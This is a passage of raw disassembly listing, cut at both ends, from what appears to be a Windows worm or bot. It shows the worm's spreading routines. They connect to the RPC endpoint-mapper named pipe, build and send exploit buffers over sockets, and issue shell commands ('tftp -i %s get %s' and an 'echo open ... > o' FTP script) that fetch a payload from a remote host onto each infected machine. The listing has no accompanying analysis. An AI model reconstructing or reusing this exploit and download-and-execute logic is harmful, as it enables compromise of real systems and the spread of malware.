[ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_218] push eax call sub_40B16D mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_402F7C: ; CODE XREF: sub_402DDD+15Ej push 1 pop eax loc_402F7F: ; CODE XREF: sub_402DDD+FFj pop edi pop esi pop ebx leave retn sub_402DDD endp ; --------------------------------------------------------------------------- push ebx push esi push edi lea esi, [esp+10h] sub esp, 0BCh mov dword ptr [esp+16Ch], 87h push 2Fh pop ecx mov edi, esp rep movsd call sub_4033CB push 2Fh lea esi, [esp+0D0h] pop ecx mov dword ptr [esp+16Ch], 1BDh mov edi, esp mov ebx, eax rep movsd call sub_403C8B add esp, 0BCh test ebx, ebx jnz short loc_402FD6 test eax, eax jz short loc_402FD9 loc_402FD6: ; CODE XREF: .nsp0:00402FD0j push 1 pop eax loc_402FD9: ; CODE XREF: .nsp0:00402FD4j pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FDD proc near ; CODE XREF: sub_4033CB+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_4255FC lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_4255F4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_438FDC push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_421064 lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415D9F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415D9F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_438FD8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43A458 cmp eax, 5 mov ebx, 4C3h jz short loc_4030A1 cmp eax, ebx jnz short loc_4030AB loc_4030A1: ; CODE XREF: sub_402FDD+BEj push edi push edi push edi push esi call dword_43A458 loc_4030AB: ; CODE XREF: sub_402FDD+C2j cmp eax, 5 jz short loc_4030B9 cmp eax, ebx jz short loc_4030B9 push 1 pop eax jmp short loc_4030BB ; --------------------------------------------------------------------------- loc_4030B9: ; CODE XREF: sub_402FDD+D1j ; sub_402FDD+D5j xor eax, eax loc_4030BB: ; CODE XREF: sub_402FDD+DAj pop edi pop esi pop ebx leave retn sub_402FDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030C0 proc near ; CODE XREF: sub_4033CB+7Ap ; sub_4033CB+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_4255FC lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_4255F4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_438FDC pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_421064 lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415D9F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415D9F add esp, 10h loc_403151: ; CODE XREF: sub_4030C0+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43A2F8 test eax, eax jz short loc_403171 push 7D0h call dword_421060 jmp short loc_403151 ; --------------------------------------------------------------------------- loc_403171: ; CODE XREF: sub_4030C0+A2j push 1 pop eax pop edi pop esi leave retn sub_4030C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403178 proc near ; CODE XREF: sub_4033CB+A9p ; sub_4033CB+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_415D70 push esi push edi push offset byte_42C1FC mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_414E04 mov edi, eax add esp, 10h test edi, edi jz loc_4033C7 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_4155D0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415570 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_4155D0 add esp, 24h lea esi, [edi+0D7h] loc_4031FD: ; CODE XREF: sub_403178+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40324D mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_4155D0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415570 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_4155D0 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_4031FD ; --------------------------------------------------------------------------- loc_40324D: ; CODE XREF: sub_403178+90j cmp [ebp+arg_C4], 0 jz short loc_403268 cmp [ebp+arg_C0], 3 jz short loc_403271 cmp [ebp+arg_C0], 0 jmp short loc_40326F ; --------------------------------------------------------------------------- loc_403268: ; CODE XREF: sub_403178+DCj cmp [ebp+arg_C0], 3 loc_40326F: ; CODE XREF: sub_403178+EEj jnz short loc_40327A loc_403271: ; CODE XREF: sub_403178+E5j push 4 push offset dword_4255F0 jmp short loc_403281 ; --------------------------------------------------------------------------- loc_40327A: ; CODE XREF: sub_403178:loc_40326Fj push 4 push offset dword_4255EC loc_403281: ; CODE XREF: sub_403178+100j lea eax, [ebp+var_1FE0] push eax call sub_4155D0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_425124 push eax call sub_4155D0 push 10h lea eax, [ebp+var_CA4] push offset dword_425488 push eax call sub_4155D0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_4155D0 lea edi, [esi+370h] push 3Ch push offset off_42549C lea eax, [ebp+edi+var_1004] push eax call sub_4155D0 add edi, 3Ch push 30h push offset dword_4254DC lea eax, [ebp+edi+var_1004] push eax call sub_4155D0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_415DC9 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_415570 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_4155D0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_4033C7: ; CODE XREF: sub_403178+3Ej pop edi pop esi leave retn sub_403178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033CB proc near ; CODE XREF: .nsp0:00402FA3p ; sub_40778B+1E6p ; DATA XREF: ... var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 1338h call sub_415D70 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_403539 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_402FDD pop ecx test eax, eax pop ecx jz loc_403649 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4154E7 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_421078 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_403450 loc_403441: ; CODE XREF: sub_4033CB+126j lea eax, [ebp+arg_4] push eax call sub_4030C0 pop ecx jmp loc_403649 ; --------------------------------------------------------------------------- loc_403450: ; CODE XREF: sub_4033CB+74j lea eax, [ebp+arg_4] push 2 push eax call sub_412B98 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403178 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_4034E8 mov edi, 186A0h push edi call sub_415DC9 mov esi, eax push edi push ebx push esi call sub_415570 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_4250D8 push [ebp+var_4] call dword_421074 cmp byte ptr [esi+2], 0Ch jnz short loc_4034D8 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call dword_421070 test eax, eax jnz short loc_4034F6 loc_4034D8: ; CODE XREF: sub_4033CB+F3j push esi call sub_415E3D push [ebp+var_8] call sub_415E3D pop ecx pop ecx loc_4034E8: ; CODE XREF: sub_4033CB+B9j push [ebp+var_4] call dword_42106C jmp loc_403441 ; --------------------------------------------------------------------------- loc_4034F6: ; CODE XREF: sub_4033CB+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call dword_421068 push [ebp+var_8] mov edi, eax call sub_415E3D push esi call sub_415E3D pop ecx pop ecx push [ebp+var_4] call dword_42106C lea eax, [ebp+arg_4] push eax call sub_4030C0 cmp edi, 1 pop ecx jnz loc_40365A jmp loc_403649 ; --------------------------------------------------------------------------- loc_403539: ; CODE XREF: sub_4033CB+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_412B98 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403649 xor ebx, ebx push ebx push 1 push 2 call dword_43A438 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403649 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43A3B8 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43A3F8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403178 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_4035CB push [ebp+var_4] jmp short loc_403643 ; --------------------------------------------------------------------------- loc_4035CB: ; CODE XREF: sub_4033CB+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43A360 cmp eax, 0FFFFFFFFh jnz short loc_4035E3 loc_4035E0: ; CODE XREF: sub_4033CB+22Aj push esi jmp short loc_40363C ; --------------------------------------------------------------------------- loc_4035E3: ; CODE XREF: sub_4033CB+213j push ebx push 48h push offset dword_4250D8 push edi call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_4035E0 mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43A3D0 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_403624 push [ebp+var_8] jmp short loc_40363C ; --------------------------------------------------------------------------- loc_403624: ; CODE XREF: sub_4033CB+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43A3D0 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_40364D loc_40363C: ; CODE XREF: sub_4033CB+216j ; sub_4033CB+257j call sub_415E3D pop ecx push edi loc_403643: ; CODE XREF: sub_4033CB+1FEj call dword_43A450 loc_403649: ; CODE XREF: sub_4033CB+31j ; sub_4033CB+80j ... xor eax, eax jmp short loc_4036CA ; --------------------------------------------------------------------------- loc_40364D: ; CODE XREF: sub_4033CB+26Fj call sub_415E3D pop ecx push edi call dword_43A450 loc_40365A: ; CODE XREF: sub_4033CB+163j xor esi, esi loc_40365C: ; CODE XREF: sub_4033CB+2B1j lea eax, [ebp+var_338] push eax call sub_40B24D test eax, eax pop ecx jnz short loc_403680 push 1388h call dword_421060 inc esi cmp esi, 6 jl short loc_40365C jmp short loc_4036C7 ; --------------------------------------------------------------------------- loc_403680: ; CODE XREF: sub_4033CB+2A0j cmp [ebp+arg_B4], ebx jnz short loc_4036A5 push ebx lea eax, [ebp+var_338] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4036A5: ; CODE XREF: sub_4033CB+2BBj lea eax, [ebp+var_338] push eax call sub_40B16D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_4036C7: ; CODE XREF: sub_4033CB+2B3j push 1 pop eax loc_4036CA: ; CODE XREF: sub_4033CB+280j pop edi pop esi pop ebx leave retn sub_4033CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036CF proc near ; DATA XREF: .nsp0:00423004o jmp $+5 sub_4036CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4036D4 proc near push 0BB80h push 76Ch call sub_414098 pop ecx mov dword_438FE0, eax pop ecx retn sub_4036D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036EB proc near ; CODE XREF: sub_40384C+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43A3F8 mov [ebp+var_C], eax mov ax, word ptr dword_438FE0 push eax call dword_43A3B8 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43A438 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403825 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A360 cmp eax, 0FFFFFFFFh jz loc_403825 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3D0 mov esi, offset byte_42C1FC push esi push esi push [ebp+arg_0] call sub_40A171 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 18h push esi push esi push dword_438FFC push [ebp+arg_0] call sub_40A171 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_403825 push 1F4h call dword_421060 push esi push offset dword_425050 lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_403829 loc_403825: ; CODE XREF: sub_4036EB+51j ; sub_4036EB+67j ... xor al, al jmp short loc_403847 ; --------------------------------------------------------------------------- loc_403829: ; CODE XREF: sub_4036EB+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3D0 push ebx call dword_43A450 mov al, 1 loc_403847: ; CODE XREF: sub_4036EB+13Cj pop edi pop esi pop ebx leave retn sub_4036EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40384C proc near ; CODE XREF: sub_403C8B+125p ; sub_403C8B+147p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_415D70 mov eax, dword_4250D0 push ebx mov [ebp+var_10], eax mov eax, dword_4250D4 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_4250C4 push eax call sub_4154E7 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40388B: ; CODE XREF: sub_40384C+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40388B push 60h lea eax, [ebp+var_B4] push offset dword_425B10 push eax call sub_4155D0 lea eax, [ebp+var_3C] push eax call sub_415CF0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_4155D0 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_415CF0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_4155D0 lea eax, [ebp+var_3C] push eax call sub_415CF0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_4155D0 lea eax, [ebp+var_3C] push eax call sub_415CF0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_4155D0 mov ax, word ptr dword_438FE0 add esp, 2Ch push eax call dword_43A3B8 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_425810 call sub_4155D0 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403A48 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_415570 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_425F38[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_4155D0 mov esi, offset loc_425760 push esi call sub_415CF0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_4155D0 push 4 lea eax, [ebp+var_11AC] push offset loc_4250BC push eax call sub_4155D0 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_4155D0 add esp, 40h push esi call sub_415CF0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_4155D0 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_403A01: ; CODE XREF: sub_40384C+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_403A01 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_415570 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_415570 add esp, 18h jmp short loc_403A9F ; --------------------------------------------------------------------------- loc_403A48: ; CODE XREF: sub_40384C+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_415570 mov esi, offset loc_425760 push esi call sub_415CF0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_4155D0 lea eax, [ebp+var_10] push eax call sub_415CF0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_4155D0 mov eax, dword_425F38 add esp, 2Ch mov [ebp+var_768], eax loc_403A9F: ; CODE XREF: sub_40384C+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_415570 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_403ADE loc_403AD7: ; CODE XREF: sub_40384C+2B9j ; sub_40384C+2E0j ... xor al, al jmp loc_403C86 ; --------------------------------------------------------------------------- loc_403ADE: ; CODE XREF: sub_40384C+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3D0 push ebx push 68h push offset dword_425B74 push edi call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3D0 push ebx push 0A0h push offset dword_425BE0 push edi call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3D0 cmp [ebp+arg_C0], ebx jz loc_403BF4 push 68h lea eax, [ebp+var_89B4] push offset dword_425D98 push eax call sub_4155D0 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_4155D0 push 70h lea eax, [ebp+var_68DC] push offset dword_425E04 push eax call sub_4155D0 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_4155D0 push 84h lea eax, [ebp+var_5DA8] push offset dword_425E78 push eax call sub_4155D0 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43A408 cmp eax, 0FFFFFFFFh jz loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3D0 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403C4A ; --------------------------------------------------------------------------- loc_403BF4: ; CODE XREF: sub_40384C+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_425C84 push eax call sub_4155D0 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_4155D0 push 90h lea eax, [ebp+var_245C] push offset off_425D04 push eax call sub_4155D0 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403C4A: ; CODE XREF: sub_40384C+3A6j push eax push edi call dword_43A408 cmp eax, 0FFFFFFFFh jz loc_403AD7 push 12Ch call dword_421060 sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4036EB add esp, 0BCh test al, al setnz al loc_403C86: ; CODE XREF: sub_40384C+28Dj pop edi pop esi pop ebx leave retn sub_40384C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C8B proc near ; CODE XREF: .nsp0:00402FC3p ; .nsp0:00403E78p ... var_854 = byte ptr -854h var_810 = byte ptr -810h var_214 = byte ptr -214h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_414098 xor edi, edi push 10h lea eax, [ebp+var_14] push edi push eax mov [ebp+var_4], edi call sub_415570 add esp, 14h lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_43A3F8 push [ebp+arg_A0] mov [ebp+var_10], eax call dword_43A3B8 push 6 push 1 push 2 mov [ebp+var_12], ax call dword_43A438 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403D93 lea eax, [ebp+var_14] push 10h push eax push ebx call dword_43A360 cmp eax, 0FFFFFFFFh jz loc_403D93 push edi push 89h push offset dword_4258F8 push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_403D93 mov esi, 640h push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43A3D0 push edi push 0A8h push offset dword_425984 push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_403D93 push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43A3D0 push edi push 0DEh push offset dword_425A30 push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_403D93 push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43A3D0 movsx eax, [ebp+var_810] sub eax, 30h jz short loc_403D9D dec eax jz short loc_403D9A loc_403D93: ; CODE XREF: sub_403C8B+63j ; sub_403C8B+79j ... xor eax, eax jmp loc_403E37 ; --------------------------------------------------------------------------- loc_403D9A: ; CODE XREF: sub_403C8B+106j push edi jmp short loc_403DC1 ; --------------------------------------------------------------------------- loc_403D9D: ; CODE XREF: sub_403C8B+103j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40384C add esp, 0C4h test al, al jnz short loc_403DE1 push 1 loc_403DC1: ; CODE XREF: sub_403C8B+110j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40384C add esp, 0C4h test al, al jz short loc_403DE8 loc_403DE1: ; CODE XREF: sub_403C8B+132j mov [ebp+var_4], 1 loc_403DE8: ; CODE XREF: sub_403C8B+154j push ebx call dword_43A450 cmp [ebp+var_4], 0 jz short loc_403E34 push 0 lea eax, [ebp+var_214] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_214] push eax call sub_40B16D mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_403E34: ; CODE XREF: sub_403C8B+168j push 1 pop eax loc_403E37: ; CODE XREF: sub_403C8B+10Aj pop edi pop esi pop ebx leave retn sub_403C8B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 1BDh push 2Fh pop ecx mov edi, esp rep movsd call sub_402DDD push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C8B add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_403E8D test eax, eax jz short loc_403E90 loc_403E8D: ; CODE XREF: .nsp0:00403E87j push 1 pop eax loc_403E90: ; CODE XREF: .nsp0:00403E8Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_403E94 proc near ; CODE XREF: sub_404108+Ep ; sub_404108+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_403E94 endp ; =============== S U B R O U T I N E ======================================= sub_403E9E proc near ; CODE XREF: sub_404108+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_415DC9 mov edi, eax pop ecx test edi, edi jz short loc_403ED0 push ebx push 0 push edi call sub_415570 push ebx push [esp+1Ch+arg_0] push edi call sub_4155D0 add esp, 18h mov [esi+4], 